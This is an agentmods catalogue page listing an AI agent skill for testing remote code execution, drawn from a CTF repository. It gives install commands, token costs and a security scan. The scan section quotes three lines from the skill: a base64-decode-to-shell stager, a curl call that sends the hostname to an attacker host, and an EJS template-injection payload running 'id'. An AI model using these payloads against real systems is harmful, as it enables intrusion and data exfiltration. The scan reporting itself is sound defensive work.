Strix•远程代码执行

Strix•远程代码执行 is a skill for Claude Code, Codex from asdfgh1445/ctf-super-hub. It costs 44 tokens per session (1,961 once invoked), scanned C, original, no licence file.

A security-testing guide for remote code execution (RCE), where an attacker gets a system to run commands or code they supplied.

In plain words
What is it for?
It is for testing command injection, unsafe object deserialization, template injection, and features that evaluate code.
Why use it?
It helps uncover flaws that could let attackers control parts of an application or its server.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit It is for testing command injection, unsafe object deserialization, template injection, and features that evaluate code.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/asdfgh1445/ctf-super-hub/strix-rce
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add asdfgh1445/ctf-super-hub --skill strix-rce
Clone the repo
git clone --depth 1 https://github.com/asdfgh1445/ctf-super-hub

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Strix•远程代码执行

README.md
[![agentmods](https://agentmods.dev/badge/skills/asdfgh1445/ctf-super-hub/strix-rce/github.svg)](https://agentmods.dev/skills/asdfgh1445/ctf-super-hub/strix-rce)
Your own site
<a href="https://agentmods.dev/skills/asdfgh1445/ctf-super-hub/strix-rce"><img src="https://agentmods.dev/badge/skills/asdfgh1445/ctf-super-hub/strix-rce/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for Strix•远程代码执行

Your own site · 80×15
<a href="https://agentmods.dev/skills/asdfgh1445/ctf-super-hub/strix-rce"><img src="https://agentmods.dev/badge/skills/asdfgh1445/ctf-super-hub/strix-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 44 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,961 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00044 $0.01961
Opus 5 $0.00022 $0.00981
Sonnet 5 $0.00009 $0.00392
Haiku 4.5 $0.00004 $0.00196

Measured 11d ago against content hash 5cbebb9c4638, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade C, and why

Strix•远程代码执行 scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Encoded or obfuscated payloadhighSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

- Base64 stagers: `echo payload | base64 -d | sh`

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl https://attacker.tld/$(hostname)

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
strix-rce/SKILL.md · 239 lines

The source is not reproduced here

A licence we could not identify

The repository carries a LICENSE file, but it is custom or dual enough that GitHub cannot name it and neither can this catalogue. Unknown terms are not permission, so the body is not copied here. Read the licence at the source and decide for yourself.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 239 lines · 44 tokens per session scan C 5cbebb9c4638

Subscribe to this mod's changes

Strix•远程代码执行 is a skill published in the GitHub repository asdfgh1445/ctf-super-hub (804 stars, last pushed 4mo ago), with no licence file. It adds 44 tokens to every session and 1,961 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 3 findings (encoded or obfuscated payload, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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